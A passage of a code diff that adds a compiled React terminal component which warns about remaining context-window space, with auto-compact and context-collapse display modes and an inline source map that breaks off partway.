+  }
+  return t5;
+}
+export function TokenWarning(t0) {
+  const $ = _c(13);
+  const {
+    tokenUsage,
+    model
+  } = t0;
+  let t1;
+  if ($[0] !== model || $[1] !== tokenUsage) {
+    t1 = calculateTokenWarningState(tokenUsage, model);
+    $[0] = model;
+    $[1] = tokenUsage;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const {
+    percentLeft,
+    isAboveWarningThreshold,
+    isAboveErrorThreshold
+  } = t1;
+  const suppressWarning = useCompactWarningSuppression();
+  if (!isAboveWarningThreshold || suppressWarning) {
+    return null;
+  }
+  let t2;
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = isAutoCompactEnabled();
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const showAutoCompactWarning = t2;
+  let t3;
+  if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = getUpgradeMessage("warning");
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  const upgradeMessage = t3;
+  let displayPercentLeft = percentLeft;
+  let reactiveOnlyMode = false;
+  let collapseMode = false;
+  if (feature("REACTIVE_COMPACT")) {
+    if (getFeatureValue_CACHED_MAY_BE_STALE("tengu_cobalt_raccoon", false)) {
+      reactiveOnlyMode = true;
+    }
+  }
+  if (feature("CONTEXT_COLLAPSE")) {
+    const {
+      isContextCollapseEnabled
+    } = require("../services/contextCollapse/index.js") as typeof import('../services/contextCollapse/index.js');
+    if (isContextCollapseEnabled()) {
+      collapseMode = true;
+    }
+  }
+  if (reactiveOnlyMode || collapseMode) {
+    const effectiveWindow = getEffectiveContextWindowSize(model);
+    let t4;
+    if ($[5] !== effectiveWindow || $[6] !== tokenUsage) {
+      t4 = Math.round((effectiveWindow - tokenUsage) / effectiveWindow * 100);
+      $[5] = effectiveWindow;
+      $[6] = tokenUsage;
+      $[7] = t4;
+    } else {
+      t4 = $[7];
+    }
+    displayPercentLeft = Math.max(0, t4);
+  }
+  if (collapseMode && feature("CONTEXT_COLLAPSE")) {
+    let t4;
+    if ($[8] === Symbol.for("react.memo_cache_sentinel")) {
+      t4 = <Box flexDirection="row"><CollapseLabel upgradeMessage={upgradeMessage} /></Box>;
+      $[8] = t4;
+    } else {
+      t4 = $[8];
+    }
+    return t4;
+  }
+  const autocompactLabel = reactiveOnlyMode ? `${100 - displayPercentLeft}% context used` : `${displayPercentLeft}% until auto-compact`;
+  let t4;
+  if ($[9] !== autocompactLabel || $[10] !== isAboveErrorThreshold || $[11] !== percentLeft) {
+    t4 = <Box flexDirection="row">{showAutoCompactWarning ? <Text dimColor={true} wrap="truncate">{upgradeMessage ? `${autocompactLabel} \u00b7 ${upgradeMessage}` : autocompactLabel}</Text> : <Text color={isAboveErrorThreshold ? "error" : "warning"} wrap="truncate">{upgradeMessage ? `Context low (${percentLeft}% remaining) \u00b7 ${upgradeMessage}` : `Context low (${percentLeft}% remaining) \u00b7 Run /compact to compact & continue`}</Text>}</Box>;
+    $[9] = autocompactLabel;
+    $[10] = isAboveErrorThreshold;
+    $[11] = percentLeft;
+    $[12] = t4;
+  } else {
+    t4 = $[12];
+  }
+  return t4;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmZWF0dXJlIiwiUmVhY3QiLCJ1c2VTeW5jRXh0ZXJuYWxTdG9yZSIsIkJveCIsIlRleHQiLCJnZXRGZWF0dXJlVmFsdWVfQ0FDSEVEX01BWV9CRV9TVEFMRSIsImNhbGN1bGF0ZVRva2VuV2FybmluZ1N0YXRlIiwiZ2V0RWZmZWN0aXZlQ29udGV4dFdpbmRvd1NpemUiLCJpc0F1dG9Db21wYWN0RW5hYmxlZCIsInVzZUNvbXBhY3RXYXJuaW5nU3VwcHJlc3Npb24iLCJnZXRVcGdyYWRlTWVzc2FnZSIsIlByb3BzIiwidG9rZW5Vc2FnZSIsIm1vZGVsIiwiQ29sbGFwc2VMYWJlbCIsInQwIiwiJCIsIl9jIiwidXBncmFkZU1lc3NhZ2UiLCJ0MSIsIlN5bWJvbCIsImZvciIsInJlcXVpcmUiLCJnZXRTdGF0cyIsInN1YnNjcmliZSIsInQyIiwicyIsImlkbGVXYXJuIiwiaGVhbHRoIiwiZW1wdHlTcGF3bldhcm5pbmdFbWl0dGVkIiwiY29sbGFwc2VkU3BhbnMiLCJzdGFnZWRTcGFucyIsInRvdGFsRXJyb3JzIiwidG90YWxFbXB0eVNwYXducyIsInNuYXBzaG90IiwidDMiLCJzcGxpdCIsIm1hcCIsIk51bWJlciIsImNvbGxhcHNlZCIsInN0YWdlZCIsImVycm9ycyIsImVtcHR5U3Bhd25zIiwiaWRsZVdhcm5fMCIsInRvdGFsIiwicHJvYmxlbSIsInQ0IiwidDUiLCJsYWJlbCIsIlRva2VuV2FybmluZyIsInBlcmNlbnRMZWZ0IiwiaXNBYm92ZVdhcm5pbmdUaHJlc2hvbGQiLCJpc0Fib3ZlRXJyb3JUaHJlc2hvbGQiLCJzdXBwcmVzc1dhcm5pbmciLCJzaG93QXV0b0NvbXBhY3RXYXJuaW5nIiwiZGlzcGxheVBlcmNlbnRMZWZ0IiwicmVhY3RpdmVPbmx5TW9kZSIsImNvbGxhcHNlTW9kZSIsImlzQ29udGV4dENvbGxhcHNlRW5hYmxlZCIsImVmZmVjdGl2ZVdpbmRvdyIsIk1hdGgiLCJyb3VuZCIsIm1heCIsImF1dG9jb21wYWN0TGFiZWwiXSwic291cmNlcyI6WyJUb2tlbldhcm5pbmcudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB7IGZlYXR1cmUgfSBmcm9tICdidW46YnVuZGxlJ1xuaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyB1c2VTeW5jRXh0ZXJuYWxTdG9yZSB9IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgQm94LCBUZXh0IH0gZnJvbSAnLi4vaW5rLmpzJ1xuaW1wb3J0IHsgZ2V0RmVhdHVyZVZhbHVlX0NBQ0hFRF9NQVlfQkVfU1RBTEUgfSBmcm9tICcuLi9zZXJ2aWNlcy9hbmFseXRpY3MvZ3Jvd3RoYm9vay5qcydcbmltcG9ydCB7XG4gIGNhbGN1bGF0ZVRva2VuV2FybmluZ1N0YXRlLFxuICBnZXRFZmZlY3RpdmVDb250ZXh0V2luZG93U2l6ZSxcbiAgaXNBdXRvQ29tcGFjdEVuYWJsZWQsXG59IGZyb20gJy4uL3NlcnZpY2VzL2NvbXBhY3QvYXV0b0NvbXBhY3QuanMnXG5pbXBvcnQgeyB1c2VDb21wYWN0V2FybmluZ1N1cHByZXNzaW9uIH0gZnJvbSAnLi4vc2VydmljZXMvY29tcGFjdC9jb21wYWN0V2FybmluZ0hvb2suanMnXG5pbXBvcnQgeyBnZXRVcGdyYWRlTWVzc2FnZSB9IGZyb20gJy4uL3V0aWxzL21vZGVsL2NvbnRleHRXaW5kb3dVcGdyYWRlQ2hlY2suanMnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIHRva2VuVXNhZ2U6IG51bWJlclxuICBtb2RlbDogc3RyaW5nXG59XG5cbi8qKlxuICogTGl2ZSBjb2xsYXBzZSBwcm9ncmVzczogXCJ4IC8geSBzdW1tYXJpemVkXCIuIFN1Yi1jb21wb25lbnQgc29cbiAqIHVzZVN5bmNFeHRlcm5hbFN0b3JlIGNhbiBzdWJzY3JpYmUgdG8gc3RvcmUgbXV0YXRpb25zIHVuY29uZGl0aW9uYWxseVxuICogKGhvb2tzLWluLWNvbmRpdGlvbmFscyB3b3VsZCB2aW9sYXRlIFJlYWN0IHJ1bGVzKS4gVGhlIHBhcmVudCBvbmx5XG4gKiByZW5kZXJzIHRoaXMgd2hlbiBmZWF0dXJlKCdDT05URVhUX0NPTExBUFNFJykgKyBpc0NvbnRleHRDb2xsYXBzZUVuYWJsZWQoKS5cbiAqL1xuZnVuY3Rpb24gQ29sbGFwc2VMYWJlbCh7XG4gIHVwZ3JhZGVNZXNzYWdlLFxufToge1xuICB1cGdyYWRlTWVzc2FnZTogc3RyaW5nIHwgbnVsbFxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIC8qIGVzbGludC1kaXNhYmxlIEB0eXBlc2NyaXB0LWVzbGludC9uby1yZXF1aXJlLWltcG9ydHMgKi9cbiAgY29uc3QgeyBnZXRTdGF0cywgc3Vic2NyaWJlIH0gPVxuICAgIHJlcXVpcmUoJy4uL3NlcnZpY2VzL2NvbnRleHRDb2xsYXBzZS9pbmRleC5qcycpIGFzIHR5cGVvZiBpbXBvcnQoJy4uL3NlcnZpY2VzL2NvbnRleHRDb2xsYXBzZS9pbmRleC5qcycpXG4gIC8qIGVzbGludC1lbmFibGUgQHR5cGVzY3JpcHQtZXNsaW50L25vLXJlcXVpcmUtaW1wb3J0cyAqL1xuXG4gIC8vIFNuYXBzaG90IG11c3QgYmUgcmVmZXJlbnRpYWxseSBzdGFibGUgYWNyb3NzIGNhbGxzIHdoZW4gdGhlXG4gIC8vIHVuZGVybHlpbmcgY291bnRzIGhhdmVuJ3QgY2hhbmdlZCDigJQgcmV0dXJuaW5nIGEgZnJlc2ggb2JqZWN0IGV2ZXJ5XG4gIC8vIHRpbWUgd291bGQgaW5maW5pdGUtbG9vcCB1c2VTeW5jRXh0ZXJuYWxTdG9yZS4gRW5jb2RlIGFzIGEgc3RyaW5nLlxuICBjb25zdCBzbmFwc2hvdCA9IHVzZVN5bmNFeHRlcm5hbFN0b3JlKHN1YnNjcmliZSwgKCkgPT4ge1xuICAgIGNvbnN0IHMgPSBnZXRTdGF0cygpXG4gICAgY29uc3QgaWRsZVdhcm4gPSBzLmhlYWx0aC5lbXB0eVNwYXduV2FybmluZ0VtaXR0ZWQgPyAxIDogMFxuICAgIHJldHVybiBgJHtzLmNvbGxhcHNlZFNwYW5zfXwke3Muc3RhZ2VkU3BhbnN9fCR7cy5oZWFsdGgudG90YWxFcnJvcnN9fCR7cy5oZWFsdGgudG90YWxFbXB0eVNwYXduc318JHtpZGxlV2Fybn1gXG4gIH0pXG5cbiAgY29uc3QgW2NvbGxhcHNlZCwgc3RhZ2VkLCBlcnJvcnMsIGVtcHR5U3Bhd25zLCBpZGxlV2Fybl0gPSBzbmFwc2hvdFxuICAgIC5zcGxpdCgnfCcpXG4gICAgLm1hcChOdW1iZXIpIGFzIFtudW1iZXIsIG51bWJlciwgbnVtYmVyLCBudW1iZXIsIG51bWJlcl1cbiAgY29uc3QgdG90YWwgPSBjb2xsYXBzZWQgKyBzdGFnZWRcblxuICAvLyBTaG93IGVycm9yIGluZGljYXRvciB3aGVuIGN0eC1hZ2VudCBpcyBmYWlsaW5nIHNpbGVudGx5XG4gIGlmIChlcnJvcnMgPiAwIHx8IGlkbGVXYXJuKSB7XG4gICAgY29uc3QgcHJvYmxlbSA9XG4gICAgICBlcnJvcnMgPiAwXG4gICAgICAgID8gYGNvbGxhcHNlIGVycm9yczogJHtlcnJvcnN9YFxuICAgICAgICA6IGBjb2xsYXBzZSBpZGxlICgke2VtcHR5U3Bhd25zfSBlbXB0eSBydW5zKWBcbiAgICByZXR1cm4gKFxuICAgICAgPFRleHQgY29sb3I9XCJ3YXJuaW5nXCIgd3JhcD1cInRydW5jYXRlXCI+XG4gICAgICAgIHt0b3RhbCA+IDBcbiAgICAgICAgICA/IGAke2NvbGxhcHNlZH0gLyAke3RvdGFsfSBzdW1tYXJpemVkIFxcdTAwYjcgJHtwcm9ibGVtfWBcbiAgICAgICAgICA6IHByb2JsZW19XG4gICAgICA8L1RleHQ+XG4gICAgKVxuICB9XG5cbiAgaWYgKHRvdGFsID09PSAwKSByZXR1cm4gbnVsbFxuXG4gIGNvbnN0IGxhYmVsID0gYCR7Y29sbGFwc2VkfSAvICR7dG90YWx9IHN1bW1hcml6ZWRgXG4gIHJldHVybiAoXG4gICAgPFRleHQgZGltQ29sb3Igd3JhcD1cInRydW5jYXRlXCI+XG4gICAgICB7dXBncmFkZU1lc3NhZ2UgPyBgJHtsYWJlbH0gXFx1MDBiNyAke3VwZ3JhZGVNZXNzYWdlfWAgOiBsYWJlbH1cbiAgICA8L1RleHQ+XG4gIClcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIFRva2VuV2FybmluZyh7IHRva2VuVXNhZ2UsIG1vZGVsIH06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgeyBwZXJjZW50TGVmdCwgaXNBYm92ZVdhcm5pbmdUaHJlc2hvbGQsIGlzQWJvdmVFcnJvclRocmVzaG9sZCB9ID1cbiAgICBjYWxjdWxhdGVUb2tlbldhcm5pbmdTdGF0ZSh0b2tlblVzYWdlLCBtb2RlbClcblxuICAvLyBVc2UgcmVhY3RpdmUgaG9vayB0byBjaGVjayBpZiB3YXJuaW5nIHNob3VsZCBiZSBzdXBwcmVzc2VkXG4gIGNvbnN0IHN1cHByZXNzV2FybmluZyA9IHVzZUNvbXBhY3RXYXJuaW5nU3VwcHJlc3Npb24oKVxuXG4gIGlmICghaXNBYm92ZVdhcm5pbmdUaHJlc2hvbGQgfHwgc3VwcHJlc3NXYXJuaW5nKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIGNvbnN0IHNob3dBdXRvQ29tcGFjdFdhcm5pbmcgPSBpc0F1dG9Db21wYWN0RW5hYmxlZCgpXG4gIGNvbnN0IHVwZ3JhZGVNZXNzYWdlID0gZ2V0VXBncmFkZU1lc3NhZ2UoJ3dhcm5pbmcnKVxuXG4gIC8vIFJlYWN0aXZlLW9ubHkgb3IgY29udGV4dC1jb2xsYXBzZSBtb2RlOiBwcm9hY3RpdmUgYXV0b2NvbXBhY3QgbmV2ZXJcbiAgLy8gZmlyZXMsIHNvIHBlcmNlbnRMZWZ0J3Mgbm9ybWFsIGNhbGN1bGF0aW9uIChhZ2FpbnN0IHRoZSBhdXRvY29tcGFjdFxuICAvLyB0aHJlc2hvbGQpIGNvdW50cyBkb3duIHRvIGFuIGV2ZW50IHRoYXQgd29uJ3QgaGFwcGVuLiBSZWNvbXB1dGVcbiAgLy8gYWdhaW5zdCB0aGUgZWZmZWN0aXZlIHdpbmRvdyBzbyB0aGUgcGVyY2VudGFnZSBpcyBob25lc3QuXG4gIC8vXG4gIC8vIEVhY2ggZmVhdHVyZSgpIGJsb2NrIHN0YW5kcyBhbG9uZSBzbyB0aGUgZmxhZyBzdHJpbmdzIERDRSBmcm9tXG4gIC8vIGV4dGVybmFsIGJ1aWxkcyBpbmRlcGVuZGVudGx5LlxuICBsZXQgZGlzcGxheVBlcmNlbnRMZWZ0ID0gcGVyY2VudExlZnRcbiAgbGV0IHJlYWN0aXZlT25seU1vZGUgPSBmYWxzZVxuICBsZXQgY29sbGFwc2VNb2RlID0gZmFsc2VcbiAgaWYgKGZlYXR1cmUoJ1JFQUNUSVZFX0NPTVBBQ1QnKSkge1xuICAgIGlmIChnZXRGZWF0dXJlVmFsdWVfQ0FDSEVEX01BWV9CRV9TVEFMRSgndGVuZ3VfY29iYWx0X3JhY2Nvb24nLCBmYWxzZSkpIHtcbiAgICAgIHJlYWN0aXZlT25seU1vZGUgPSB0cnVlXG4gICAgfVxuICB9XG4gIGlmIChmZWF0dXJlKCdDT05URVhUX0NPTExBUFNFJykpIHtcbiAgICAvKiBlc2xpbnQtZGlzYWJsZSBAdHlwZXNjcmlwdC1lc2xpbnQvbm8tcmVxdWlyZS1pbXBvcnRzICovXG4gICAgY29uc3QgeyBpc0NvbnRleHRDb2xsYXBzZUVuYWJsZWQgfSA9XG4gICAgICByZXF1aXJlKCcuLi9zZXJ2aWNlcy9jb250ZXh0Q29sbGFwc2UvaW5kZXguanMnKSBhcyB0eXBlb2YgaW1wb3J0KCcuLi9zZXJ2aWNlcy9jb250ZXh0Q29sbGFwc2UvaW5kZXguanMnKVxuICAgIC8qIGVzbGludC1lbmFibGUgQHR5cGVzY3JpcHQtZXNsaW50L25vLXJlcXVpcmUtaW1wb3J0cyAqL1xuICAgIGlmIChpc0NvbnRleHRDb2xsYXBzZUVuYWJsZWQoKSkge1xuICAgICAgY29sbGFwc2VNb2RlID0gdHJ1ZVxuICAgIH1cbiAgfVxuICBpZiAocmVhY3RpdmVPbmx5TW9kZSB8fCBjb2xsYXBzZU1vZGUpIHtcbiAgICBjb25zdCBlZmZlY3RpdmVXaW5kb3cgPSBnZXRFZmZlY3RpdmVDb250ZXh0V2luZG93U2l6ZShtb2RlbClcbiAgICBkaXNwbGF5UGVyY2VudExlZnQgPSBNYXRoLm1heChcbiAgICAgIDAsXG4gICAgICBNYXRoLnJvdW5kKCgoZWZmZWN0aXZlV2luZG93IC0gdG9rZW5Vc2FnZSkgLyBlZmZlY3RpdmVXaW5kb3cpICogMTAwKSxcbiAgICApXG4gIH1cblxuICAvLyBDb2xsYXBzZSBtb2RlOiBkZWxlZ2F0ZSB0byB0aGUgc3Vic2NyaWJpbmcgc3ViLWNvbXBvbmVudCBzbyB0aGVcbiAgLy8gaW5kaWNhdG9yIHVwZGF0ZXMgbGl2ZSBhcyB0aGUgY3R4LWFnZW50IHN0YWdlcyBhbmQgY29tbWl0cyBmaXJlLCBub3RcbiAgLy8ganVzdCB3aGVuIHRoZSBuZXh0IEFQSSByZXNwb25zZSByZS1yZW5kZXJzIFRva2VuV2FybmluZy5cbiAgaWYgKGNvbGxhcHNlTW9kZSAmJiBmZWF0dXJlKCdDT05URVhUX0NPTExBUFNFJykpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCI+XG4gICAgICAgIDxDb2xsYXBzZUxhYmVsIHVwZ3JhZGVNZXNzYWdlPXt1cGdyYWRlTWVzc2FnZX0gLz5cbiAgICAgIDwvQm94PlxuICAgIClcbiAgfVxuXG4gIGNvbnN0IGF1dG9jb21wYWN0TGFiZWwgPSByZWFjdGl2ZU9ubHlNb2RlXG4gICAgPyBgJHsxMDAgLSBkaXNwbGF5UGVyY2VudExlZnR9JSBjb250ZXh0IHVzZWRgXG4gICAgOiBgJHtkaXNwbGF5UGVyY2VudExlZnR9JSB1bnRpbCBhdXRvLWNvbXBhY3RgXG5cbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIj5cbiAgICAgIHtzaG93QXV0b0NvbXBhY3RXYXJuaW5nID8gKFxuICAgICAgICA8VGV4dCBkaW1Db2xvciB3cmFwPVwidHJ1bmNhdGVcIj5cbiAgICAgICAgICB7dXBncmFkZU1lc3NhZ2VcbiAgICAgICAgICAgID8gYCR7YXV0b2NvbXBhY3RMYWJlbH0gXFx1MDBiNyAke3VwZ3JhZGVNZXNzYWdlfWBcbiAgICAgICAgICAgIDogYXV0b2NvbXBhY3RMYWJlbH1cbiAgICAgICAgPC9UZXh0PlxuICAgICAgKSA6IChcbiAgICAgICAgPFRleHRcbiAgICAgICAgICBjb2xvcj17aXNBYm92ZUVycm9yVGhyZXNob2xkID8gJ2Vycm9yJyA6ICd3YXJuaW5nJ31cbiAgICAgICAgICB3cmFwPVwidHJ1bmNhdGVcIlxuICAgICAgICA+XG4gICAgICAgICAge3VwZ3JhZGVNZXNzYWdlXG4gICAgICAgICAgICA/IGBDb250ZXh0IGxvdyAoJHtwZXJjZW50TGVmdH0lIHJlbWFpbmluZykgXFx1MDBiNyAke3VwZ3JhZGVNZXNzYWdlfWBcbiAgICAgICAgICAgIDogYENvbnRleHQgbG93ICgke3BlcmNlbnRMZWZ0fSUgcmVtYWluaW5nKSBcXHUwMGI3IFJ1biAvY29tcGFjdCB0byBjb21wYWN0ICYgY29udGludWVgfVxuICAgICAgICA8L1RleHQ+XG4gICAgICApfVxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxTQUFTQSxPQUFPLFFBQVEsWUFBWTtBQUNwQyxPQUFPLEtBQUtDLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLG9CQUFvQixRQUFRLE9BQU87QUFDNUMsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsV0FBVztBQUNyQyxTQUFTQyxtQ0FBbUMsUUFBUSxxQ0FBcUM7QUFDekYsU0FDRUMsMEJBQTBCLEVBQzFCQyw2QkFBNkIsRUFDN0JDLG9CQUFvQixRQUNmLG9DQUFvQztBQUMzQyxTQUFTQyw0QkFBNEIsUUFBUSwyQ0FBMkM7QUFDeEYsU0FBU0MsaUJBQWlCLFFBQVEsNkNBQTZDO0FBRS9FLEtBQUtDLEtBQUssR0FBRztFQUNYQyxVQUFVLEVBQUUsTUFBTTtFQUNsQkMsS0FBSyxFQUFFLE1BQU07QUFDZixDQUFDOztBQUVEO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLFNBQUFDLGNBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBdUI7SUFBQUM7RUFBQSxJQUFBSCxFQUl0QjtFQUFBLElBQUFJLEVBQUE7RUFBQSxJQUFBSCxDQUFBLFFBQUFJLE1BQUEsQ0FBQUMsR0FBQTtJQUdHRixFQUFBLEdBQUFHLE9BQU8sQ0FBQyxzQ0FBc0MsQ0FBQztJQUFBTixDQUFBLE1BQUFHLEVBQUE7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